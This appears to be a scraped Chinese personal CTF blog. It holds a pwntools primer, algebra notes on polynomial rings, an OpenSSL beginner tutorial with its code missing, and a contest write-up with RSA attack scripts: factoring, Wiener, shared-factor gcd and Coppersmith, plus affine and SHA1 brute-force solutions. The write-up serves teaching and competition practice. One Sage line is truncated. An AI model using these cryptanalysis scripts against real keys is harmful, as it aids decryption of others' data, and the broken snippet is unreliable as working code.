    f_monic = f * (coeff^-1)
    
    # 设置界限 X。已知 x 是 flag，其长度为 L 字节，所以 x < 2^(8*L)
    # epsilon 控制精度，e=3 时 0.1 左右通常够用
    roots = f_monic.small_roots(X=2^(8*L), beta=1, epsilon=0.05)
    
    if roots:
        res = int(roots[0])
        print(f"Detected Flag Length: {L}")
        print(f"Flag: {long_to_bytes(res).decode()}")
        break

pwntools常用

2025-12-28T14:22:24.000Z

CTF 中 Pwntools 连接场景简单

在CTF中使用pwntools连接靶机是最基础也最核心的操作之一，pwntools提供了简洁的API支持本地程序调试、远程TCP连接、串口连接等多种场景，下面简单说明用法

1. 远程连接（最常见）

from pwn import *

# 基本连接
p = remote('靶机IP', 端口号)

# 示例
p = remote('192.168.1.100', 9999)  # 常见端口
p = remote('ctf.example.com', 1337)
p = remote('127.0.0.1', 4444)     # 本地转发

2. 常用操作示例

# 发送数据
p.send(b'data')        # 发送原始数据
p.sendline(b'data')    # 发送数据+换行
p.sendafter(b'prompt', b'data')  # 接收到prompt后发送

# 接收数据
data = p.recv(100)     # 接收100字节
line = p.recvline()    # 接收一行
p.recvuntil(b'flag:')  # 接收到指定字符串为止

# 交互模式
p.interactive()        # 切换到手动交互

3.实用技巧

使用 context.log_level = 'debug' 查看所有通信
利用 pwnlib.util.proc.pidof() 查找进程
通过 pwnlib.util.cyclic 生成模式字符串定位溢出偏移

选择哪种方式取决于题目类型（PWN、Web、Crypto等）和部署方式。

抽代一些个概念

2025-12-26T04:58:12.000Z

近日学习Coppersmith方法和Sagemath工具，看不懂看不懂思密达~，补习一下概念

多项式环代数结构差异及与 RSA 攻击的关联

要结合群、环、域的代数结构，讲清楚 PolynomialRing(GF(p)) 和 PolynomialRing(Zmod(n)) 的区别，核心逻辑是：多项式环的性质完全由其系数集的代数结构决定——系数集是域，多项式环的性质更优良；系数集是环（非域），多项式环的性质会受限。

先回顾三个核心代数结构的定义：

结构	核心要求	关键性质
群	非空集合 + 一个二元运算，满足封闭性、结合律、单位元、逆元	仅针对一种运算（如加法群、乘法群）
环	非空集合 + 两种二元运算（加、乘），加法是交换群，乘法满足封闭性、结合律	乘法不一定有逆元，不一定交换
域	交换环 + 所有非零元素对乘法构成交换群	非零元素都有乘法逆元，是性质最好的结构

一、先明确系数集的代数结构

多项式环的记法是 $R[x]$ ，其中 $R$ 是系数集（称为基环）。两种多项式环的本质差异，第一步就来自基环 $R$ 的不同。

1. 系数集 $GF(p)$ 的结构：有限域

$GF(p)$ 是 $p$ ** 元有限域**，其中 $p$ 必须是素数，元素为 ${0,1,2,\dots,p-1}$ 。

加法：构成交换群（封闭、结合、交换、单位元0、每个元素有加法逆元）。
乘法：所有非零元素构成交换群（封闭、结合、交换、单位元1、每个非零元有乘法逆元）。
因此 $GF(p)$ 满足域的全部定义，是一个交换域。

2. 系数集 $\mathbb{Z}/n\mathbb{Z}$ （`Zmod(n)`）的结构：剩余类环

$\mathbb{Z}/n\mathbb{Z}$ 是整数模 $n$ 的剩余类环， $n$ 可以是任意正整数，元素为 ${0,1,2,\dots,n-1}$ 。

加法：一定构成交换群（性质和 $GF(p)$ 加法一致）。
乘法：仅满足封闭性和结合律，但不一定有逆元：
- 当 $n$ 是素数时， $\mathbb{Z}/n\mathbb{Z}$ 等价于 $GF(n)$ ，是域（非零元都有逆元）。
- 当 $n$ 是合数时， $\mathbb{Z}/n\mathbb{Z}$ 是环（非域）：存在大量非零元素没有乘法逆元（比如 $n=6$ 时，元素2、3、4都没有逆元），且存在零因子（比如 $2\times3\equiv0\pmod{6}$ ，但 $2\neq0,3\neq0$ ）。

二、两种多项式环的性质差异

多项式环 $R[x]$ 的性质由基环 $R$ 决定。我们从核心性质入手对比：

对比维度	$\boldsymbol{GF(p)[x]}$ （系数是域）	$\boldsymbol{(\mathbb{Z}/n\mathbb{Z})[x]}$ （系数是环）
基环结构	基环 $GF(p)$ 是域	基环 $\mathbb{Z}/n\mathbb{Z}$ ： 1. $n$ 素数 → 域； 2. $n$ 合数 → 环（非域）
乘法逆元（多项式层面）	只有常数多项式（非零）有逆元，因为基环是域	仅当常数多项式的系数在 $\mathbb{Z}/n\mathbb{Z}$ 中有逆元时，该常数多项式才有逆元
欧几里得算法	满足多项式欧几里得算法对任意 $f,g\in GF(p)[x],g\neq0$ ，存在唯一的 $q,r\in GF(p)[x]$ ，使得 $f=qg+r$ ，且 $\deg r<\deg g$ 或 $r=0$	仅当 $n$ 是素数时满足（等价于 $GF(n)[x]$ ）； $n$ 是合数时不满足，因为系数无逆元，无法完成带余除法的“消最高次项”步骤
最大公因子（gcd）	任意两个多项式都存在唯一的首一gcd，可通过欧几里得算法计算	$n$ 素数时可计算gcd； $n$ 合数时，gcd不一定存在，或存在但无法用欧几里得算法求解
多项式根的个数	次数为 $d$ 的多项式，在 $GF(p)$ 或其扩域中，根的个数 ≤ $d$ （域的性质保证）	$n$ 合数时，根的个数可以超过次数（零因子导致）例： $n=6$ ，多项式 $x^2-x$ 有根 $0,1,3,4$ （次数2，根4个）
适用场景	有限域上的数论、编码理论、椭圆曲线加密（基环是域，性质稳定）	模合数的同余方程求解、RSA关联明文攻击（ $n=pq$ 是大合数，必须用此结构）

三、关键结论：基环决定多项式环的“天花板”

$GF(p)[x]$ ** 是域上的多项式环，是性质最优良的多项式环**

因为基环是域，它满足欧几里得算法、唯一因式分解定理（类似整数的质因数分解），是欧几里得整环，也是唯一分解整环。

这意味着在 $GF(p)[x]$ 中做多项式除法、求gcd、因式分解都是“顺滑”的，没有障碍。

$(\mathbb{Z}/n\mathbb{Z})[x]$ ** 的性质“分情况”**
- 当 $n$ 素数 → 等价于 $GF(n)[x]$ ，和前者性质一致；
- 当 $n$ 合数 → 是环上的多项式环，性质受限：
  - 无法用欧几里得算法求gcd（因为系数无逆元，没法消去最高次项）；
  - 存在零因子导致多项式根的个数“失控”；
  - 但这种“不完美”恰恰是它的价值——比如你之前的RSA攻击， $n=pq$ 是大合数，必须用 $(\mathbb{Z}/n\mathbb{Z})[x]$ 才能构造对应的多项式，完成攻击。

四、结合RSA攻击场景理解

在RSA关联明文攻击中，我们需要构造多项式 $p(x)=x^e-c_1$ 和 $q(x)=(ax+b)^e-c_2$ ，并求它们的gcd。

这里的模是 $n=pq$ （合数），因此系数运算必须在 $\mathbb{Z}/n\mathbb{Z}$ 中进行 → 必须用 PolynomialRing(Zmod(n))。
如果错误使用 PolynomialRing(GF(p))，相当于把模换成了素数 $p$ ，和RSA的模 $n$ 完全不符，攻击自然无法完成。

OpenSSL加密库入门教程

2025-12-24T04:18:56.000Z

OpenSSL 加密库编程新手入门教程

OpenSSL是一个功能强大的开源加密库，支持SSL/TLS协议以及几乎所有主流的加密算法（对称、非对称、哈希等），广泛用于网络安全、数据加密等场景。下面从环境搭建、命令行快速上手、C语言编程示例三个维度带你入门。

一、环境搭建

首先确保你的系统中安装了OpenSSL库和开发包（包含头文件和链接库）。

1. Linux（Ubuntu/Debian）

2. macOS

3. Windows

推荐使用MinGW-w64或MSYS2：

安装MSYS2后，执行 pacman -S openssl openssl-devel
也可下载预编译的OpenSSL安装包（官网），注意选择32/64位版本。

二、OpenSSL核心概念（新手必懂）

先理清3类核心操作，避免混淆：

类型	特点	常用算法	适用场景
哈希（摘要）	不可逆，固定长度输出	MD5、SHA256	数据完整性校验、密码存储
对称加密	加密解密用同一密钥，速度快	AES-256、DES	大文件加密、本地数据保护
非对称加密	公钥加密、私钥解密（反之亦可），速度慢	RSA、ECC	密钥交换、数字签名

三、命令行快速上手（先体验，再编程）

新手先通过命令行熟悉OpenSSL的核心功能，直观感受加密效果。

1. 哈希（摘要）计算

以SHA256为例（MD5已不安全，仅作示例）：

2. AES对称加密（AES-256-CBC模式）

CBC模式需要密钥和初始化向量（IV），IV需随机且长度与算法块大小一致（AES块大小16字节）。

参数说明：

-e：加密，-d：解密
-k：指定密钥（实际开发中建议用文件传入，避免明文暴露）
-iv：指定初始化向量（16字节）

3. RSA非对称加密

步骤：生成密钥对 → 公钥加密 → 私钥解密。

四、C语言编程入门（核心）

OpenSSL的核心价值是嵌入到代码中使用，下面给出2个最常用的示例（AES对称加密、RSA非对称加密），代码可直接编译运行。

前置说明

编译命令（以Linux为例）：

示例1：AES-256-CBC加密解密

代码关键解释：

AES_set_encrypt_key/decrypt_key：初始化加密/解密密钥上下文；
AES_cbc_encrypt：CBC模式加密/解密（最后一个参数指定AES_ENCRYPT/AES_DECRYPT）；
实际开发中，密钥和IV必须随机生成（可通过RAND_bytes函数生成），不能硬编码。

示例2：RSA加解密（生成密钥对+加密+解密）

代码关键解释：

RSA_generate_key_ex：生成RSA密钥对（2048位是安全的最小长度）；
RSA_public_encrypt：公钥加密（RSA_PKCS1_PADDING是常用填充方式，避免明文攻击）；
RSA_private_decrypt：私钥解密，填充方式需和加密一致；
RSA不适合加密大文件，通常用于加密对称加密的密钥，再用对称加密处理大文件。

五、新手常见坑

密钥/IV硬编码：绝对不要把密钥、IV写死在代码里，生产环境需从配置文件/环境变量读取；
使用不安全算法：避免MD5、DES、1024位RSA，优先选择SHA256、AES-256、2048/4096位RSA；
编译链接错误：忘记加-lssl -lcrypto链接库，或头文件路径不对（需指定-I参数）；
RSA加密大文件：RSA仅适合小数据（如密钥），大文件需用AES+RSA混合方案。

总结

OpenSSL核心操作分哈希、对称加密、非对称加密三类，新手先通过命令行熟悉效果，再写代码；
编程使用时，编译必须链接-lssl -lcrypto库，且优先选择安全算法（AES-256、SHA256、2048位RSA）；
对称加密（AES）速度快适合大文件，非对称加密（RSA）适合密钥交换/签名，实际开发常混合使用。

海河工匠杯wp

2025-12-21T11:55:46.000Z

河海工匠杯个人wp

虽然赛题不很难，但是鉴于主包第一次参加的赛事，记录一下叭

1.crack_RSA

题目：

N : 460657813884289609896372056585544172485318117026246263899744329237492701820627219556007788200590119136173895989001382151536006853823326382892363143604314518686388786002989248800814861248595075326277099645338694977097459168530898776007293695728101976069423971696524237755227187061418202849911479124793990722597
e : 354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619
enc : 38230991316229399651823567590692301060044620412191737764632384680546256228451518238842965221394711848337832459443844446889468362154188214840736744657885858943810177675871991111466653158257191139605699916347308294995664530280816850482740530602254559123759121106338359220242637775919026933563326069449424391192

看到这中没有任何提示的rsa题目补药怕呀，往往只是吓吓你而已
rsa常规流程走一便：

n可以暴力分解！
剩下就好说咯

from Crypto.Util.number import *
from gmpy2 import *
p =15991846970993213322072626901560749932686325766403404864023341810735319249066370916090640926219079368845510444031400322229147771682961132420481897362843199
q = 28805791771260259486856902729020438686670354441296247148207862836064657849735343618207098163901787287368569768472521344635567334299356760080507454640207003
e = 354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619
enc = 38230991316229399651823567590692301060044620412191737764632384680546256228451518238842965221394711848337832459443844446889468362154188214840736744657885858943810177675871991111466653158257191139605699916347308294995664530280816850482740530602254559123759121106338359220242637775919026933563326069449424391192
N = 460657813884289609896372056585544172485318117026246263899744329237492701820627219556007788200590119136173895989001382151536006853823326382892363143604314518686388786002989248800814861248595075326277099645338694977097459168530898776007293695728101976069423971696524237755227187061418202849911479124793990722597

phi = (p-1)*(q-1)
d = inverse(e, phi)
m = pow(enc,d,N)
print(long_to_bytes(m))

什么？你说没法爆破怎么办？~~跳了呗，下一题（bushi）~~
另解：观察特点，发现e非常大，由此也可以看出d会很小，可以尝试winner攻击
RSA的密钥满足：ed - k·φ(n) = 1（k为正整数），变形得：

$ed = k·φ(n) + 1$

欧拉函数φ(n) = (p-1)(q-1) = n - (p+q) + 1，由于p和q是大素数，p+q远小于n，因此φ(n) ≈ n；
将ed = k·φ(n) + 1两边除以d·φ(n)：
$\frac{e}{φ(n)} = \frac{k}{d} + \frac{1}{d·φ(n)}$
忽略极小项1/(d·φ(n))，结合φ(n)≈n，可得核心近似关系：
$\frac{e}{n} ≈ \frac{k}{d}$

对 $\frac{e}{n}$ 连分数展开便有可能得出k与n咯

import gmpy2
import libnum

def continued_fraction(x, y):
    """计算连分数展开序列
    :param x: 分子 (e)
    :param y: 分母 (n)
    :return: 连分数列表
    """
    cf = []
    while y:
        cf.append(x // y)
        x, y = y, x % y
    return cf

def gradual_convergents(cf):
    """生成所有渐进分数 (k/d)
    :param cf: 连分数列表
    :yield: (分子k, 分母d)
    """
    numerator_prev, numerator_curr = 0, 1
    denominator_prev, denominator_curr = 1, 0
    for q in cf:
        numerator_next = q * numerator_curr + numerator_prev
        denominator_next = q * denominator_curr + denominator_prev
        numerator_prev, numerator_curr = numerator_curr, numerator_next
        denominator_prev, denominator_curr = denominator_curr, denominator_next
        yield (numerator_curr, denominator_curr)

def solve_pq(a, b, c):
    """通过二次方程分解n=p*q
    :param a: x²系数 (固定为1)
    :param b: x系数 (n - phi + 1)
    :param c: 常数项 (n)
    :return: p, q
    """
    delta = b**2 - 4*a*c
    if delta < 0: return None
    sqrt_delta = gmpy2.isqrt(delta)
    if sqrt_delta * sqrt_delta != delta:
        return None
    p = (-b + sqrt_delta) // (2 * a)
    q = (-b - sqrt_delta) // (2 * a)
    return (p, q) if p * q == c else None

def wiener_attack(e, n):
    """维纳攻击主函数
    :param e: 公钥e
    :param n: 模数n
    :return: 私钥d 或 None
    """
    cf = continued_fraction(e, n)
    for k, d in gradual_convergents(cf):
        if k == 0: continue
        if (e * d - 1) % k != 0:
            continue
        phi = (e * d - 1) // k
        pq = solve_pq(1, n - phi + 1, n)
        if pq:
            p, q = pq
            if p * q == n:
                return d
    return None

if __name__ == "__main__":
    # 测试数据（替换为实际参数）
    n = 460657813884289609896372056585544172485318117026246263899744329237492701820627219556007788200590119136173895989001382151536006853823326382892363143604314518686388786002989248800814861248595075326277099645338694977097459168530898776007293695728101976069423971696524237755227187061418202849911479124793990722597
    e = 354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619
    c = 38230991316229399651823567590692301060044620412191737764632384680546256228451518238842965221394711848337832459443844446889468362154188214840736744657885858943810177675871991111466653158257191139605699916347308294995664530280816850482740530602254559123759121106338359220242637775919026933563326069449424391192   
    d = wiener_attack(e, n)
    if d:
        print(f"[+] 私钥d = {d}")
        m = pow(c, d, n)
        print(f"[+] 明文 = {libnum.n2s(int(m)).decode()}")
    else:
        print("[-] 攻击失败，可能d不满足维纳条件")

2.command

题目

from secret import flag
from Crypto.Util.number import *

p = getPrime(1024)
q1 = getPrime(1024)
q2 = getPrime(1024)

n1 = p * q1
n2 = p * q2
e  = 0x10001

m = bytes_to_long(flag)
c1 = pow(m, e, n1)
c2 = pow(m, e, n2)

print(c1)
print(n1)
print(c2)
print(n2)


# 4941707047346667175208995859949404389322583225976420544331062614693386809791615029343678778664425048376340187366155043564992194252492261601744888865226804666848581371609771137227420031942968451977653728169798389786353613232575562480592642357804748184143027923004426192328699886075682903734608470957863437094162637828629980861061313193478602945671274941820713441068765686829372743052820131555406957764726286667754643454059540313131391568239032095090368445897408669444308899803560012425357607296170299089198157608947328661673814435023280124404645125994375763555334414315256063016251526584818376451642455251523209255802
# 23870161680183523079741569974844567326019753076392636009584986567612198552769297327520140947753967201209251923569250042808435602604746173316812218561002639890627852637259978806388826042450311742551247657942180612619269580501221658861246087292389488686348455622638650573340684120087995899502358420625262078225393838288965001923426876996521245801399902175648882304659224530399947903626889562357334105116376279410129681393098230440046021549860624097368418577529956483763264706086840482433245189236097197915840133182908767740904012654564998517212402393117912683093507460179360440863741119755955402495890705201911376608287
# 15361482578239201122825735518613560425956918915682082355755400248771835488441342237398430042762133757967330714360779296866589247720714355380496678719262004338885321961470744042111217118574883401901820510469999875432217721036106005542885036119619624821458268716392152006782899996387626674519404398439643754050298394226768471302131781460214161254895195587947346312072521081253756073686949674898685783707405534113832058397514942338528976019855060111031531673705000954520440402528450353772060433440812396824325761264326895396370502262440389779595049703594280011852963627217339075366282031362737198717406376555679069806258
# 27799578924743649991986024628153641945800733904267409387203138015966552861634251919848520890705796293509399305155356061091874177186618542710179261647491030477309736237809439680701450990170747064756974278248222130804744789442182601317629449781655995599376757972019189878891496801811940270932663639537402645346568086063480094758375696668553141406635142266030261394906382884967081494979457009425568148790959718481235323099812941999183305133433926721515800515742432246719644508578309303020326602709313629970737948300830614693840686955065188058995026232804383907013878621481775642198847855961249614692528029044092622003431

看看出题入的巧思在哪里？注意到：

n1 = p * q1
n2 = p * q2

n1n2已知，可以利用欧几里得算法求p，p既出，则题解！

from Crypto.Util.number import *
from gmpy2 import *

c1 = 4941707047346667175208995859949404389322583225976420544331062614693386809791615029343678778664425048376340187366155043564992194252492261601744888865226804666848581371609771137227420031942968451977653728169798389786353613232575562480592642357804748184143027923004426192328699886075682903734608470957863437094162637828629980861061313193478602945671274941820713441068765686829372743052820131555406957764726286667754643454059540313131391568239032095090368445897408669444308899803560012425357607296170299089198157608947328661673814435023280124404645125994375763555334414315256063016251526584818376451642455251523209255802
n1 = 23870161680183523079741569974844567326019753076392636009584986567612198552769297327520140947753967201209251923569250042808435602604746173316812218561002639890627852637259978806388826042450311742551247657942180612619269580501221658861246087292389488686348455622638650573340684120087995899502358420625262078225393838288965001923426876996521245801399902175648882304659224530399947903626889562357334105116376279410129681393098230440046021549860624097368418577529956483763264706086840482433245189236097197915840133182908767740904012654564998517212402393117912683093507460179360440863741119755955402495890705201911376608287
c2 = 15361482578239201122825735518613560425956918915682082355755400248771835488441342237398430042762133757967330714360779296866589247720714355380496678719262004338885321961470744042111217118574883401901820510469999875432217721036106005542885036119619624821458268716392152006782899996387626674519404398439643754050298394226768471302131781460214161254895195587947346312072521081253756073686949674898685783707405534113832058397514942338528976019855060111031531673705000954520440402528450353772060433440812396824325761264326895396370502262440389779595049703594280011852963627217339075366282031362737198717406376555679069806258
n2 = 27799578924743649991986024628153641945800733904267409387203138015966552861634251919848520890705796293509399305155356061091874177186618542710179261647491030477309736237809439680701450990170747064756974278248222130804744789442182601317629449781655995599376757972019189878891496801811940270932663639537402645346568086063480094758375696668553141406635142266030261394906382884967081494979457009425568148790959718481235323099812941999183305133433926721515800515742432246719644508578309303020326602709313629970737948300830614693840686955065188058995026232804383907013878621481775642198847855961249614692528029044092622003431
e = 0x10001

p = gcd(n1, n2)
q1 = n1 // p
phi = (p - 1) * (q1 - 1)
d = inverse(e, phi)
m = pow(c1, d, n1)
print(long_to_bytes(m))

3.affine

y = 11*x+7 试对密文dikhkkruz解密,答案格式：flag{********}

凯撒仿射啦，直接喂ai吧
但是有解密公式就好办了：x = 19 * (y - 7) mod

补充一下：

凯撒密码与仿射密码
- 凯撒密码是仿射密码在 $a=1$ 时的特例。
- 仿射密码的密钥空间更大（ $a$ 有 12 种选择， $b$ 有 26 种选择，共 $12 \times 26 = 312$ 种密钥），而凯撒密码只有 26 种密钥。

密文字母	密文数字(y)	(y-7) mod26	19*(y-7) mod26	明文数字(x)	明文字母
d	3	22	22*19=418 mod26=2	2	c
i	8	1	19 mod26=19	19	t
k	10	3	57 mod26=5	5	f
h	7	0	0 mod26=0	0	a
k	10	3	57 mod26=5	5	f
k	10	3	57 mod26=5	5	f
r	17	10	190 mod26=8	8	i
u	20	13	247 mod26=13	13	n
z	25	18	342 mod26=4	4	e

拼接后明文为 ctfaffine，最终flag为 flag{ctfaffine}。

4.HASH

现在我们有一个压缩文件,但我们不知道完整的解压密码。
幸好我们知道解压密码的一部分hash值，不过这个hash值被人改动过
你能帮我们找到的密码吗?
不完整的密码：”*ha*i*_go*d” *代表可打印字符
不完整的hash值：”2aa90dc*46aa5d0*baedc4a*13e4c0a6*91bf6*2″（*代表可打印字符）
答案格式： flag{*******}

哈希。。。没啥想法，套脚本爆破结果

import hashlib

def find_correct_password():
    hash_template = "2aa90dc*46aa5d0*baedc4a*13e4c0a6*91bf6*2"
    fixed_positions = []
    for idx, char in enumerate(hash_template):
        if char != '*':
            fixed_positions.append((idx, char))
    printable_chars = [chr(c) for c in range(32, 127)]

    count = 0
    for c1 in printable_chars:
        for c4 in printable_chars:
            for c6 in printable_chars:
                for c10 in printable_chars:
                    password = f"{c1}ha{c4}i{c6}_go{c10}d"
                    sha1_hash = hashlib.sha1(password.encode('utf-8')).hexdigest()
                    match = True
                    for (pos, target_char) in fixed_positions:
                        if sha1_hash[pos] != target_char:
                            match = False
                            break
                    if match:
                        print(f"找到正确密码：{password}")
                        print(f"对应的SHA1哈希：{sha1_hash}")
                        return password
                    count += 1

    return None
correct_pwd = find_correct_password()
if correct_pwd:
    print(f"\nflag{{{correct_pwd}}}")

5.coppersmith

~~敬请期待~~
~~QwQsagemath~~
~~没整明白~~
~~等笔者好消息吧~~

from secret import flag
from Crypto.Util.number import *

m = bytes_to_long(flag)

p = getPrime(512)
q = getPrime(512)
N = p * q
e = 7

c = pow(m, e, N)
high_p = (p >> 100) << 100

print(c, N, high_p, sep='\n')

# 77910349061944763568299396394184337520861899083817490010678766043320388729842050532499742515132299125221386423487817013007167101659632771120727305169401713711755701139645391311421914142639007159020652755880068954988225402131362184667436752944331368809243280933094976267099141065017878199319211904257432652753
# 99887986204824691113457754897953425406993412586030259044004283966194202433452866024995465248688896193125819761385921365388030307691682145106269184432165936577174730773115650122496935533603059557681592007428920955897003476296682566264772005134125852663260971355535474414913501328212769545952135420770881499467
# 12672576027810761975840956553905924324108169270520824932988309977042643967090398117355253953195633095326913407044418517938976916071656473263683948565757952

很明显的p高位攻击了，连还原高位的过程都帮你做了

from gmpy2 import *
from Crypto.Util.number import *

c = 77910349061944763568299396394184337520861899083817490010678766043320388729842050532499742515132299125221386423487817013007167101659632771120727305169401713711755701139645391311421914142639007159020652755880068954988225402131362184667436752944331368809243280933094976267099141065017878199319211904257432652753
n = 99887986204824691113457754897953425406993412586030259044004283966194202433452866024995465248688896193125819761385921365388030307691682145106269184432165936577174730773115650122496935533603059557681592007428920955897003476296682566264772005134125852663260971355535474414913501328212769545952135420770881499467
p = 12672576027810761975840956553905924324108169270520824932988309977042643967090398117355253953195633095326913407044418517938976916071656473263683948565757952

PR. = PolynomialRing(Zmod(n))

f = p+x
res = f.small_roots(X=2^100, beta=0.4)

p = int(res[0]) + p
q = n // p
print(q)
d = inverse_mod(7, (p-1)*(q-1))
m = power_mod(c, d, n)
print(long_to_bytes(m))

(p(x) = (p_h + x) \mod n)。

Coppersmith 方法的能力是：如果多项式在模 n 的某个因数下有一个 “足够小的根”，就能把这个根求出来。

res = f.small_roots(X=2^100, beta=0.4)
参数解释：

x：X 是小根的上界，即告诉算法：“我们要找的根 (x_0) 满足 (|x_0| < X)”。
作用beta 是因数占比参数，表示 N 的素因子 p 满足 (p \geq N^{\text{beta}})。

ddanggui's 博客

sekaictf趣题

sekaictf趣题

题目

分析

恢复a，p

恢复dm

配平系数

左核钓鱼

恢复A,P

恢复P

回代：A → m₁ → X

exp

熵密杯复现(一)

前置：SM2 加密与签名

1. SM2 加密算法

1.1 加密（持公钥 P=dGP = dGP=dG）

1.2 解密（持私钥 ddd）

1.3 一图流

2. SM2 签名算法

2.1 签名（持私钥 dAd_AdA​）

2.2 验签（持公钥 PAP_APA​）

2.3 数学推导

3. 加密 vs 签名对比

4. 攻击面

谜题一

题目

分析

谜题二

分析

谜题三

nepctf部分

nepctf部分

题1

分析

恢复p

恢复flag

tutctf wp

RSA

题目

分析

exp

ecc

题目

分析

exp

ezrsa

题目

exp

数字中国决赛

题目

分析

题目分析

参数设置

秘密向量 s

稀疏矩阵 c

c·s

噪声 y 与拒绝采样

交互逻辑

第一步：收集 z 值

第二步：查询详细信息

第三步：提交答案

解题思路

怎么唯一确定 ci⋅s\mathbf{c}_i \cdot \mathbf{s}ci​⋅s

HW32(y) 的信息量

软件安全区域线下赛后记

题目

分析

randomkey2求解

rsa处理

逆key_expansion

randomkey1求解

核心攻击：Torsion 投影

判定:

exp

写在最后：

nctf_wp

nctf_wp

Ez_RSA

题目

1.1 加密（持公钥 $P = dG$ ）

1.2 解密（持私钥 $d$ ）

2.1 签名（持私钥 $d_A$ ）

2.2 验签（持公钥 $P_A$ ）

怎么唯一确定 $\mathbf{c}_i \cdot \mathbf{s}$

还原 $a_1,b_1$